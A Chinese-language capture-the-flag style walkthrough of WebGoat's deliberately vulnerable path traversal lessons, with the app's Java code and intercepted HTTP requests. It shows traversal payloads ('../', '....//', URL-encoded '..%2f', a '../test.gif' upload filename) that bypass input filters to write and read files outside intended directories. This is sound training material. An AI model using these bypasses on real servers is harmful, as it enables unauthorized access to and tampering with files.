


# Path traversal

找到一个Springboot综合靶场WebGoat

配置了两套(docker和idea直接启动debug的版本), 配置过程不再赘述

进入path traversal章节,最后一章上传图片要求zip file的太怪了就没写上来。



path traversal漏洞核心是利用文件上传时, 需要在服务器上有一个上传路径。该路径可能是直接由前端输入拼接而来, 不过过滤或绕过过滤, 而让客户client访问/修改到服务器上的其它文件。

第一关的路径是由固定字符和full name拼接而来, 并且无任何过滤, 所以full name处输入 `../test` 即可通关。

代码体现：

PathTraversal.html:

```
<div class="attack-container">
  <div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
  <div class="upload-container">
    <form class="attack-form" accept-charset="UNKNOWN"
      method="POST" name="form"
      onsubmit='return false'
      contentType="false"
      successCallback="profileUploadCallback"
      failureCallback="profileUploadCallback"
      informationalCallback="profileUploadCallback"
      prepareData="profileupload"
      enctype="multipart/form-data"
      action="/WebGoat/PathTraversal/profile-upload">
```

ProfileCallback应该是在某个JS里面，它不是直接调用的接口。寻找 path\_traversal.js

```
webgoat.customjs.profileUploadCallback = function () {
  $.get("PathTraversal/profile-picture", function (result, status) {
    document.getElementById( "elementId: "preview").src = "data:image/png;base64," + result;
  });
};
```

该函数调用profile-picture接口。

接下来寻找profile-picture，profile-upload接口在哪。

后端接口在

```
public class ProfileUpload extends ProfileUploadBase {

  public ProfileUpload(@Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) {
    super(webGoatHomeDirectory, webSession);
  }

  @PostMapping(value = "/PathTraversal/profile-upload", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
  @ResponseBody
  public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName", required = false) String fullName) {
    return super.execute(file, fullName);
  }

  @GetMapping("/PathTraversal/profile-picture")
  @ResponseBody
  public ResponseEntity<?> getProfilePicture() {
    return super.getProfilePicture();
  }
}
```

getProfilePicture分析:

```
@GetMapping("/PathTraversal/profile-picture")
@ResponseBody
public ResponseEntity<?> getProfilePicture() {
    return super.getProfilePicture();
}
```

→

```
public ResponseEntity<?> getProfilePicture() {
    return ResponseEntity.ok()
        .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))
        .body(getProfilePictureAsBase64());
}
```

response返回图片的base64形式

→

前端渲染img:

```
webgoat.customjs.profileUploadCallback = function () {
    $.get("/PathTraversal/profile-picture", function (result, status) {
        document.getElementById( "preview").src = "data:image/png;base64," + result;
    });
}
```

form action post上传图片使用uploadHandler接口:

```
@PostMapping(value = "/PathTraversal/profile-upload", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
@ResponseBody
public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName", required = false) String fullName) {
    return super.execute(file, fullName);
}
```

→

```
protected AttackResult execute(MultipartFile file, String fullName) {
    if (file.isEmpty()) {
        return failed( assignment: this).feedback("path-traversal-profile-empty-file").build();
    }
    if (StringUtil.isEmpty(fullName)) {
        return failed( assignment: this).feedback("path-traversal-profile-empty-name").build();
    }

    var uploadDirectory = new File(this.webGoatHomeDirectory, child: "/PathTraversal/" + webSession.getUserName());
    if (uploadDirectory.exists()) {
        FileSystemUtils.deleteRecursively(uploadDirectory);
    }
}
```

```

try {
    uploadDirectory.mkdins();
    var uploadedFile = new File(uploadDirectory, fullName);
    uploadedFile.createNewFile();
    FileCopyUtils.copy(file.getBytes(), uploadedFile);

    if (attemptWasMade(uploadDirectory, uploadedFile)) {
        return solvedIt(uploadedFile);
    }
    return informationMessage( assignment: this).feedback("path-traversal-profile-updated").feedbackArgs(uploadedFile.getAbsolutePath()).build();
} catch (IOException e) {
    return failed( assignment: this).output(e.getMessage()).build();
}
}

```

路径uploadDirectory的后半部分是可变（拼接）的，漏洞正是出现在此处再往后就是创建文件，写入文件的过程了。

solveIt的满足条件：parent file（folder）以PathTraversal结尾

```

private AttackResult solvedIt(File uploadedFile) throws IOException {
    if (uploadedFile.getCanonicalFile().getParentFile().getName().endsWith("PathTraversal")) {
        return success( assignment: this).build();
    }
    return failed( assignment: this).attemptWasMade().feedback("path-traversal-profile-attempt").feedbackArgs(uploadedFile.getCanonicalPath()).build();
}

```

所以只把图片上传到比原来更向上的一级目录就可以通过了。

## Path traversal 02

### 结果和payload

1
2
3
4
5
6
7
8

#### Path traversal while uploading files


The developer became aware of the vulnerability and implemented a fix which removed the `../` from the input. Again the same assignment but can you bypass the implemented fix?

OS

Linux

Location

/home/webgoat/.webgoat-8.2.2/PathTraversal/accelerator



Full Name:

Email:

Password:

Update

Congratulations. You have successfully completed the assignment.

类似1的代码分析，不过给输入加上了过滤：

```

public AttackResult uploadFileHandler(
    @RequestParam("uploadedFileFix") MultipartFile file, file: StandardMultipartHttpServletRequest$StandardMultipartFile@24721
    @RequestParam(value = "fullNameFix", required = false) String fullName) { fullName: "....//test"
    return super.execute(file, fullName != null & true ? fullName.replace( target: "../", replacement: "") : ""); fullName: "....//test"
}

```

会过滤掉`../`一次。所以需要双写，payload: `....//` 过滤掉内部的，留下外部的成功构成有效payload

## Path traversal 03

代码框架基本一致，改变了过滤和上一次不同。

黑盒：

Path traversal while uploading files

The developer again became aware of the vulnerability by not validating the input of the `full name` input field. A fix was made in an attempt to solve this vulnerability. Again the same assignment but can you bypass the implemented fix?

OS	Location
Windows 10	C:\Users\Administrator\.webgoat-8.2.3-SNAPSHOT\PathTraversal\testadmin

Full Name:

Email:

Password:

Profile has been updated, your image is available at: C:\Users\Administrator\.webgoat-8.2.3-SNAPSHOT\PathTraversal\testadmin\1 - Copy.jpg

看起来好像不能用full Name来弄了 路径取决于文件名 看起来文件名没有过滤。

一种方法是直接改上传文件的文件名，另一种方法就是post的时候改包：

```
Request to http://192.168.50.11:8080
Forward Drop Intercept is on Action Open Browser
Pretty Raw Hex \n
1 POST /WebGoat/PathTraversal/profile-upload-remove-user-input HTTP/1.1
2 Host: 192.168.50.11
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 X-Requested-With: XMLHttpRequest
8 Content-Type: multipart/form-data; boundary=-----1230852031708534169520560818
9 Content-Length: 39801
10 Origin: http://192.168.50.11
11 Connection: close
12 Referer: http://192.168.50.11/WebGoat/start.mvc
13 Cookie: JSESSIONID=D1ifvH_luCziBKk0oA_fJKcNb5AGh7NZixskAmV1
14
15 -----1230852031708534169520560818
16 Content-Disposition: form-data; name="uploadedFileRemoveUserInput"; filename="1.gif"
17 Content-Type: image/gif
18
19 GIF89a@ - 5Gj C OLC% E"as=-5 x m"3GMH S& •R#? Grp ld\Do0 eQF&U '
20 h | H q< 60 )F(### j\, D ) 5-x $ 9 w2"u&±è à °` XO5$
HH5H"QwliE w b4 + H k/ Q xihg i●●●xg7 s )!G=!dM! /<4 dg $AD
6 v@KQ< á N (i~U9 X R• y vL'-. -oeE Y| o I"\0+ : e;HO uQ " 4 ± n; 2] G;Rjb> i± D( [%4 f)g |e
21 Sv5 SS ° a t g 1HDSH G&VUI$ LpkTwwv N<@H6bh :; Uwm è F<t)D X
9JA\][ 7 j. &V8 x , ; e h D [o ' i[2 ' [ ]
q8[ZB S, ±| Mè | Wk-:w a] [o " @B8)wgyPT e A?9 74/" " :>2 $ 3(r - 8jr ^,[
! NETSCAPE2.0!ù ,@ H° * \ ° #J H± 3j ± C Y (S \ 0c I - 8se $ ^, [2 - q5 | xo
! NETSCAPE2.0!ù ,@ H° * \ ° #J H± 3j ± C Y (S \ 0c I - 8se $ ^, [2 - q5 | xo
```

→

```
1 POST /WebGoat/PathTraversal/profile-upload-remove-user-input HTTP/1.1
2 Host: 192.168.50.11
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 X-Requested-With: XMLHttpRequest
8 Content-Type: multipart/form-data; boundary=-----1230852031708534169520560818
9 Content-Length: 39801
10 Origin: http://192.168.50.11
11 Connection: close
12 Referer: http://192.168.50.11/WebGoat/start.mvc
13 Cookie: JSESSIONID=D1ifvH_luCziBKk0oA_fJKcNb5AGh7NZixskAmV1
14
15 -----1230852031708534169520560818
16 Content-Disposition: form-data; name="uploadedFileRemoveUserInput"; filename="../test.gif"
17 Content-Type: image/gif
18
19 GIF89a@ - 5Gj C OLC% E"as=-5 x m"3GMH S& •R#? Grp ld\Do0 eQF&U '
20 h | H q< 60 )F(### j\, D ) 5-x $ 9 w2"u&±è à °` XO5$
HH5H"QwliE w b4 + H k/ Q xihg i●●●xg7 s )!G=!dM! /<4 dg $AD
6 v@KQ< á N (i~U9 X R• y vL'-. -oeE Y| o I"\0+ : e;HO uQ " 4 ± n; 2] G;Rjb> i± D( [%4 f)g |e
21 Sv5 SS ° a t g 1HDSH G&VUI$ LpkTwwv N<@H6bh :; Uwm è F<t)D X
9JA\][ 7 j. &V8 x , ; e h D [o ' i[2 ' [ ]
q8[ZB S, ±| Mè | Wk-:w a] [o " @B8)wgyPT e A?9 74/" " :>2 $ 3(r - 8jr ^,[
! NETSCAPE2.0!ù ,@ H° * \ ° #J H± 3j ± C Y (S \ 0c I - 8se $ ^, [2 - q5 | xo
22 *TdR|U j & *-h2* ] 5:tT•m
23 h xó ò T*V U ° a oá iVj #KI X|b V |u 2 |W4è "CdM x ° c M i s •
a W6 ; ó i og ( )tp~ z' +_Z| 9~d H) ° =v Ydu G ld ó
```

forward request, 成功

### Path traversal while uploading files

The developer again became aware of the vulnerability by not validating the input of the `full name` input field. A fix was made in an attempt to solve this vulnerability. Again the same assignment but can you bypass the implemented fix?

OS

Linux

Location

/home/webgoat/.webgoat-8.2.2/PathTraversal/accelerator



Full Name:

test

Email:

test@test.com

Password:

....

Update

**Congratulations. You have successfully completed the assignment.**

代码:

和猜测的一样, 跟full name无关了, 和文件名有关, execute函数还是那个, 传入参数不同

```
@PostMapping(value = "/PathTraversal/profile-upload-remove-user-input", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
@ResponseBody
public AttackResult uploadFileHandler(@RequestParam("uploadedFileRemoveUserInput") MultipartFile file) {
    return super.execute(file, file.getOriginalFilename());
}
```

## Path traversal 04

## Retrieving other files with a path traversal

Path traversals are not limited to file uploads also when retrieving files it can be the case that a path traversal is possible to retrieve other files from the system. In this assignment try to find a file called `path-traversal-secret.jpg`

Show random cat picture



Submit secret

找个名叫 `path-traversal-secret` 的文件，然后弄个flag，估计和这个文件有关。


黑盒：

点show random picture后  
network tab抓包：


Status	Method	Domain	File	Initiator	Type	Transferred	Size	
200	GET	192.168.50.11	lessonoverview.mvc	jquery.min.js:2 (xhr)	json	1.04 KB	822 B	146 ms
200	GET	192.168.50.11	random-picture	jquery.min.js:2 (xhr)	jpeg	158.29 KB	158.01 KB	120 ms
200	GET	192.168.50.11	lessonmenu.mvc	jquery.min.js:2 (xhr)	json	7.42 KB	7.19 KB	162 ms

观察response header：





我们是要找个secret img文件，先扔到burp里看看：



**7.jpg**这个file肯定是有，但是response status code是404，观察location，它是自动加了个**.jpg**，所以request里就不需要加**.jpg**了。下面的response body info里看一下，把这个directory下的文件目录给显示出来了，cat下面只有1-10 jpg文件，没有想要的。那寻找一下上一级，看看能不能成

```
1 GET /WebGoat/PathTraversal/random-picture?id=../7.jpg HTTP/1.1
2 Host: 192.168.50.11
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0)
  Gecko/20100101 Firefox/94.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 X-Requested-With: XMLHttpRequest
8 Connection: close
9 Referer: http://192.168.50.11/WebGoat/start.mvc
10 Cookie: JSESSIONID=D1ifvH_luCziBRk0oA_fJKcNb5AGh7NZixskAmV1
11
12
```

```
1 HTTP/1.1 400 Bad Request
2 Server: nginx/1.18.0
3 Date: Wed, 01 Dec 2021 16:04:09 GMT
4 Content-Type: text/plain; charset=UTF-8
5 Content-Length: 54
6 Connection: close
7 X-XSS-Protection: 1; mode=block
8 X-Content-Type-Options: nosniff
9 X-Frame-Options: DENY
10
11 Illegal characters are not allowed in the query parameter
```

被拦截了。试试url encode之后咋样：

```
Request
1 GET /WebGoat/PathTraversal/random-picture?id=2e%2e%2f%37 HTTP/1.1
2 Host: 192.168.50.11
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0)
  Gecko/20100101 Firefox/94.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 X-Requested-With: XMLHttpRequest
8 Connection: close
9 Referer: http://192.168.50.11/WebGoat/start.mvc
10 Cookie: JSESSIONID=D1ifvH_luCziBRk0oA_fJKcNb5AGh7NZixskAmV1
11
12
```

```
Response
1 HTTP/1.1 404 Not Found
2 Server: nginx/1.18.0
3 Date: Wed, 01 Dec 2021 16:05:08 GMT
4 Content-Type: application/octet-stream
5 Content-Length: 294
6 Connection: close
7 X-XSS-Protection: 1; mode=block
8 X-Content-Type-Options: nosniff
9 Location: /PathTraversal/random-picture?id=7.jpg
10 X-Frame-Options: DENY
11
12 /home/webgoat/.webgoat-8.2.2/PathTraversal/cats/./cats/.home/webgoat/.webgoat-8.2.2/PathTraversal/cats/./test.jpg./
  home/webgoat/.webgoat-8.2.2/PathTraversal/cats/./test./home/webgoat/.webgoat-8.2.2/PathTraversal/cats/./accelerator
  ./home/webgoat/.webgoat-8.2.2/PathTraversal/cats/./test.gif
```


看目录还是没有  
在上一级：

```
Request
1 GET /WebGoat/PathTraversal/random-picture?id=2e%2e%2f%37 HTTP/1.1
2 Host: 192.168.50.11
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0)
  Gecko/20100101 Firefox/94.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 X-Requested-With: XMLHttpRequest
8 Connection: close
9 Referer: http://192.168.50.11/WebGoat/start.mvc
10 Cookie: JSESSIONID=D1ifvH_luCziBRk0oA_fJKcNb5AGh7NZixskAmV1
11
12
```

```
Response
1 HTTP/1.1 404 Not Found
2 Server: nginx/1.18.0
3 Date: Wed, 01 Dec 2021 16:06:24 GMT
4 Content-Type: application/octet-stream
5 Content-Length: 338
6 Connection: close
7 X-XSS-Protection: 1; mode=block
8 X-Content-Type-Options: nosniff
9 Location: /PathTraversal/random-picture?id=7.jpg
10 X-Frame-Options: DENY
11
12 /home/webgoat/.webgoat-8.2.2/PathTraversal/cats/./../path-traversal-secret.jpg./home/webgoat/.webgoat-8.2.2/PathTrav
  ersal/cats/./../ClientSideFiltering./home/webgoat/.webgoat-8.2.2/PathTraversal/cats/./../data./home/webgoat/.webgoa
  t-8.2.2/PathTraversal/cats/./../XXE./home/webgoat/.webgoat-8.2.2/PathTraversal/cats/./../PathTraversal
```

看response info，目标在这一级目录下。

../../path-traversal-secret url encode一下, 发送请求:



成功找到了。flag是把用户名SHA-512加密。

代码：

前端：

```
<div class="lesson-page-wrapper">
  <div class="adoc-content" th:replace="doc::PathTraversal_retrieval.adoc"></div>
  <div class="attack-container">

    <div class="container-fluid">
      <div class="input-group" style="...">
        <button class="btn btn-primary" onClick="newRandomPicture()">Show random cat picture
      </button>
    </div>
    <br/>
    <div>
      
    </div>
  </div>
</div>
```

```
function newRandomPicture() {
  $.get("PathTraversal/random-picture", function (result, status) {
    document.getElementById( elementid: "randomCatPicture").src = "data:image/png;base64," + result;
  });
}
```

random-picture对应的后端接口:

```
@GetMapping("/PathTraversal/random-picture")
@ResponseBody
public ResponseEntity<?> getProfilePicture(HttpServletRequest request) {...}
```

不能有 `..` 和 `/`，否则会直接400 Bad Request

```
var queryParams :String = request.getQueryString();
if (queryParams != null && (queryParams.contains("..") || queryParams.contains("/"))) {
    return ResponseEntity.badRequest().body(t: "Illegal characters are not allowed in the query params");
}
```

cat picture 如果是如果request parameter里面id为空，那么就从1-11中随机取一个数作为id。

如果不为空，则用request parameter里的id

```
if (catPicture.getName().toLowerCase().contains("path-traversal-secret.jpg")) {
    return ResponseEntity.ok()
        .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))
        .body(FileCopyUtils.copyToByteArray(catPicture));
}
```

```
if (catPicture.exists()) {
    return ResponseEntity.ok()
        .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))
        .location(new URI( str: "/PathTraversal/random-picture?id=" + catPicture.getName()))
        .body(Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(catPicture)));
}
return ResponseEntity.status(HttpStatus.NOT_FOUND)
    .location(new URI( str: "/PathTraversal/random-picture?id=" + catPicture.getName()))
    .body(StringUtils.arrayToCommaDelimitedString(catPicture.getParentFile().listFiles()).getBytes());
} catch (IOException | URISyntaxException e) {
    log.error("Image not found", e);
}

return ResponseEntity.badRequest().build();
```

如果cat picture的name包含 `path-traversal-secret.jpg`，那么直接返回 status code 200，response body是这个图片

如果id是随机取的，并且文件存在，返回status code 200，response body是这个图片

否则返回404，并且response body列出同级目录。

这样看思路就很明显了，直接把id设置成 `path-traversal-secret.jpg` 就可以得到答案。